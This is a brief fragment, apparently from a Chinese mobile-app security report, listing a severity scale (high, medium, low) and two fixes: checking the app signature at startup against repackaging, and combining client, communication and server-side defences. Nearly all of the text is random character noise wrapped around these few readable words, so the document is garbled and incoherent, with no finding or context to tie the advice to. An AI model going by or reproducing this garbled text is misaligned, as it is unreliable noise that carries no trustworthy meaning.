6 i8 f J3 ^/ p1 G! m 严重程度 : U& K. P6 i0 Q- J' E ; w) a6 z7 e5 S, y7 r1 C	5 W( q3 z4 {5 ] x( r8 j! Q 高 4 D# b* R- m8 m6 e8 f( J	1 O! s; _) ^( A% F ( n' }9 A) d2 k3 ?4 Q- k ■ 7 T% p! [5 ]8 a/ T* [ , i8 \3 {6 ~+ V8 b# \ ' g1 p1 G- |. l2 N, T	- }6 J7 n1 o% o; d3 _: O, x " u" A: U' p' S6 ]2 n' _% L 中 ) g' F; k3 S" |8 j6 N: R% Y9 { 0 t7 p4 ]5 \2 v8 r p' y	$ U, m8 d* N# X! I' E : o+ L' @( A' T" S o) y( M   : O+ I& \4 s4 V( ^$ D& X2 Y" ~	/ j* r' G2 n, @1 n l) w$ R 低	# e/ H5 h4 ^' |' K. p . @ t0 n) h4 C* o/ B# y + z0 U: S6 Q6 }, \3 a) w9 c1 Q   ! ?. [8 {8 \; }& u

5 d" I& P4 R; W/ e. e) U3 x

& C3 X; P+ I1 g) o/ k3 p+ G* t# L

3 S, t1 n$ b+ U5 w + N% h7 u" V1 E- c# V   % G* x9 l, m2 n% b6 \( S 9 \; z6 H A+ T/ a- `# K3 I$ G

* [7 W4 [8 g% }' \& x4 ^ 修复方法：

; B, b3 o+ [, B6 G' L8 U! r: u# K

+ b7 j0 b; F6 H# s+ n! y * H5 _7 |5 m& F: ~: u' F4 K               1.在 APP 启动时应做签名校验防止二次打包。
- U8 I# ~# a0 y9 a# p8 } 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 & d3 q3 `2 M* q1 r1 p3 g2 L& |- q) b

. l9 } q) W$ \8 P' k1 [: a! q 9 S9 w! K$ a$ l6 T) v* Y

" A4 b9 k9 g7 k' \4 ^8 A% f" f 7 a' y+ O+ ^+ o+ a  

" v# a9 d) R6 E c

0 w. Q5 c! L1 ~4 ^$ A
* G4 G: c# u; V+ a# l6 x4 g

6 v/ d) N; F. z' B